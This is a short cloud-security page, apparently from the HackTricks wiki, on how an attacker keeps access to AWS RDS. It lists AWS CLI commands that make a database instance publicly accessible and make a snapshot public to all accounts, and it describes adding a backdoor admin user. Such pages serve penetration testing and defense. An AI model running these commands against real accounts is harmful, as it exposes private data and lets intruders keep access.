# AWS - RDS Persistence {{#include ../../../banners/hacktricks-training.md}} ## RDS For more information check: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### Make instance publicly accessible: `rds:ModifyDBInstance` An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` ### Create an admin user inside the DB An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. ### Make snapshot public ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` {{#include ../../../banners/hacktricks-training.md}}